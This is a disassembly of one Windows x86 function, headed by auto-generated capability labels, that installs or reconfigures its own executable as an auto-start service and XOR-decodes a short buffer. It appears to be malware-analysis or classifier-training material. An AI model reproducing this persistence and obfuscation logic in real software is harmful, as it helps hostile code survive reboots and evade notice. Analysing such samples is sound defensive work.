Function at 0x408e73
Capabilities:
Create service
Encode data using xor
Modify service
Persist via windows service
Query service configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x750
xor ecx, ecx
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, ecx
push esi
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 0x28
jne 0x408eb5
push 0x4650
mov dword [ebp - 0x18], 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push 0x104
lea eax, [ebp - 0x14c]
xor edi, edi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x409098
push 0xf003f
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
mov dword [ebp - 0x20], ebx
test ebx, ebx
je 0x409096
xor eax, eax
push eax
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x14c]
push eax
push 1
push 2
push 0x10
push 0xf01ff
push 0x4044a0
push 0x4043e4
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov edi, eax
test edi, edi
jne 0x408f80
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x408f80
push 0xf01ff
push 0x4043e4
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
je 0x409088
lea eax, [ebp - 0x3c]
push eax
push 0x400
lea eax, [ebp - 0x750]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfigA]
test eax, eax
je 0x409081
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x14c]
push eax
push 0xffffffffffffffff
push 2
push 0xffffffffffffffff
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
cmp dword [ebp - 0x18], 0
je 0x408fe2
push 0x4044c0
lea ebx, [esi + 0x14]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x408fe2
push 0xa
add esi, 0x1e
lea eax, [ebp - 0x38]
push esi
push eax
call fcn.0040c8b4
push ebx
lea eax, [ebp - 0x48]
mov byte [ebp - 0x2e], 0
push eax
mov byte [esi], 0
call fcn.00409f49
test eax, eax
je 0x408fe2
lea eax, [ebp - 0x38]
push 0xa
pop esi
mov dword [ebp - 0x1c], eax
lea ebx, [ebp - 0x48]
mov dword [ebp - 4], esi
xor eax, eax
xor byte [ebp + eax - 0x38], 0xb5
inc eax
cmp eax, 0xa
jl 0x408fce
mov dword [ebp - 0x14], 6
jmp 0x408fe7
mov esi, dword [ebp - 4]
mov ebx, esi
lea eax, [ebp - 0x350]
push eax
call fcn.004081b8
test eax, eax
je 0x40907d
cmp dword [ebp - 0x1c], 0
mov eax, dword [0x418070]
mov dword [ebp - 8], eax
lea eax, [ebp - 0x350]
mov dword [0x418070], eax
je 0x409062
test ebx, ebx
je 0x409062
lea eax, [ebp - 0xc]
push eax
push 0x10
call fcn.0040840b
mov ebx, eax
test ebx, ebx
je 0x409062
cmp dword [ebp - 0xc], esi
jne 0x409062
lea eax, [ebp - 0xc]
push eax
push 0xf
call fcn.0040840b
mov esi, eax
test esi, esi
je 0x409062
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0xc], eax
jne 0x409062
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x38]
push eax
push ebx
call fcn.0040c8b4
push dword [ebp - 0x14]
lea eax, [ebp - 0x48]
push eax
push esi
call fcn.0040c8b4
call fcn.0040854f
mov eax, dword [ebp - 8]
push 0
mov dword [0x418070], eax
mov dword [ebp - 8], 1
call fcn.0040bbb1
test edi, edi
je 0x409088
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ebx, dword [ebp - 8]
jmp 0x409098
mov ebx, edi
cmp dword [ebp - 0x18], 0
pop edi
je 0x4090ab
push 1
push 0x4044d8
call fcn.0040a421
pop esi
mov eax, ebx
pop ebx
leave
ret 4